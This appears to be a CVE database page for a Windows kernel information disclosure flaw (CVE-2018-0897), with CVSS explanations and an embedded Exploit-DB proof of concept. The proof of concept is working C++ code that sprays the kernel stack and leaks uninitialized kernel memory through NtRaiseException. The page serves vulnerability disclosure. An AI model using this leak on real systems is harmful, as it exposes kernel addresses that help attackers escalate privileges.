CVE-2018-0897 : Detail

CVE-2018-0897

4.7
/
Medium
2.06%V4
Local
2018-03-14
17h00 +00:00
2024-09-16
18h48 +00:00
CVE.org
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CVE Descriptions

The Windows kernel in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1 and RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, and 1709, Windows Server 2016 and Windows Server, version 1709 allows an information disclosure vulnerability due to the way memory addresses are handled, aka "Windows Kernel Information Disclosure Vulnerability". This CVE is unique from CVE-2018-0811, CVE-2018-0813, CVE-2018-0814, CVE-2018-0894, CVE-2018-0895, CVE-2018-0896, CVE-2018-0898, CVE-2018-0899, CVE-2018-0900, CVE-2018-0901 and CVE-2018-0926.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-665 Improper Initialization
The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 4.7 MEDIUM CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 1.9 AV:L/AC:M/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44310

Publication date : 2018-03-19 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* We have discovered a new Windows kernel memory disclosure vulnerability in the creation and copying of a EXCEPTION_RECORD structure to user-mode memory while passing execution to a user-mode exception handler. The vulnerability affects 64-bit versions of Windows 7 to 10. The leak was originally detected under the following stack trace (Windows 7): --- cut --- kd> k # Child-SP RetAddr Call Site 00 fffff880`040b7e18 fffff800`026ca362 nt!memcpy+0x3 01 fffff880`040b7e20 fffff800`026db3bc nt!KiDispatchException+0x421 02 fffff880`040b84b0 fffff800`0268fafb nt!KiRaiseException+0x1b4 03 fffff880`040b8ae0 fffff800`0268d093 nt!NtRaiseException+0x7b 04 fffff880`040b8c20 00000000`74b5cb49 nt!KiSystemServiceCopyEnd+0x13 --- cut --- and more specifically in the copying of the EXCEPTION_RECORD structure: --- cut --- kd> dt _EXCEPTION_RECORD @rdx ntdll!_EXCEPTION_RECORD +0x000 ExceptionCode : 0n1722 +0x004 ExceptionFlags : 1 +0x008 ExceptionRecord : (null) +0x010 ExceptionAddress : 0x00000000`765fc54f Void +0x018 NumberParameters : 0 +0x020 ExceptionInformation : [15] 0xbbbbbbbb`bbbbbbbb --- cut --- In that structure, the entire "ExceptionInformation" array consisting of 15*8=120 bytes is left uninitialized and provided this way to the ring-3 client. The overall EXCEPTION_RECORD structure (which contains the ExceptionInformation in question) is allocated in the stack frame of the nt!KiRaiseException function. Based on some cursory code analysis and manual experimentation, we believe that the kernel only fills as many ULONG_PTR's as the .NumberParameters field is set to (but not more than EXCEPTION_MAXIMUM_PARAMETERS), while the remaining entries of the array are never written to. As a result, running the attached proof-of-concept program reveals 120 bytes of kernel stack memory (set to the 0x41 marker with stack-spraying to illustrate the problem). An example output is as follows: --- cut --- 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000030: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000040: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000050: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000060: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000070: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........ --- cut --- If we replace the stack-spraying function call in the code with a printf() call, we can immediately spot a number of kernel-mode addresses in the output dump: --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: a0 ce 1e 00 00 00 00 00 a0 ce 1e 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 64 0b 00 00 00 40 00 00 ........d....@.. 00000030: b8 00 00 00 00 00 00 00 60 6e 83 5d 80 f9 ff ff ........`n.].... 00000040: 00 0d 78 60 80 f9 ff ff 00 00 00 00 80 f9 ff ff ..x`............ 00000050: 00 00 00 00 01 00 00 00 00 01 00 00 00 00 00 00 ................ 00000060: 10 01 00 00 00 00 00 00 00 70 f5 3f 01 00 00 00 .........p.?.... 00000070: 50 0b 10 60 80 f9 ff ff ?? ?? ?? ?? ?? ?? ?? ?? P..`............ --- cut --- */ #include <Windows.h> #include <cstdio> extern "C" NTSTATUS NTAPI NtRaiseException( IN PEXCEPTION_RECORD ExceptionRecord, IN PCONTEXT ThreadContext, IN BOOLEAN HandleException); VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { static bool initialized = false; static HPALETTE(*EngCreatePalette)( _In_ ULONG iMode, _In_ ULONG cColors, _In_ ULONG *pulColors, _In_ FLONG flRed, _In_ FLONG flGreen, _In_ FLONG flBlue ); if (!initialized) { EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette"); initialized = true; } static ULONG buffer[256]; MyMemset((PBYTE)buffer, 'A', sizeof(buffer)); EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0); MyMemset((PBYTE)buffer, 'B', sizeof(buffer)); } LONG CALLBACK VectoredHandler( _In_ PEXCEPTION_POINTERS ExceptionInfo ) { PrintHex((PBYTE)ExceptionInfo->ExceptionRecord->ExceptionInformation, sizeof(ExceptionInfo->ExceptionRecord->ExceptionInformation)); ExitProcess(0); } int main() { AddVectoredExceptionHandler(1, VectoredHandler); // Initialize the exception record. EXCEPTION_RECORD er; RtlZeroMemory(&er, sizeof(er)); er.ExceptionAddress = main; er.ExceptionCode = STATUS_ACCESS_VIOLATION; er.ExceptionFlags = 0; er.NumberParameters = 0; er.ExceptionRecord = NULL; // Initialize the CPU context. CONTEXT ctx; RtlZeroMemory(&ctx, sizeof(ctx)); ctx.ContextFlags = CONTEXT_ALL; GetThreadContext(GetCurrentThread(), &ctx); // Spray the kernel stack with a 0x41 marker byte. SprayKernelStack(); // Trigger the memory disclosure. NtRaiseException(&er, &ctx, TRUE); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server >> Version 1709

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version *

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

References

http://www.securitytracker.com/id/1040517
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/103241
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/44310/
Tags : exploit, x_refsource_EXPLOIT-DB
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.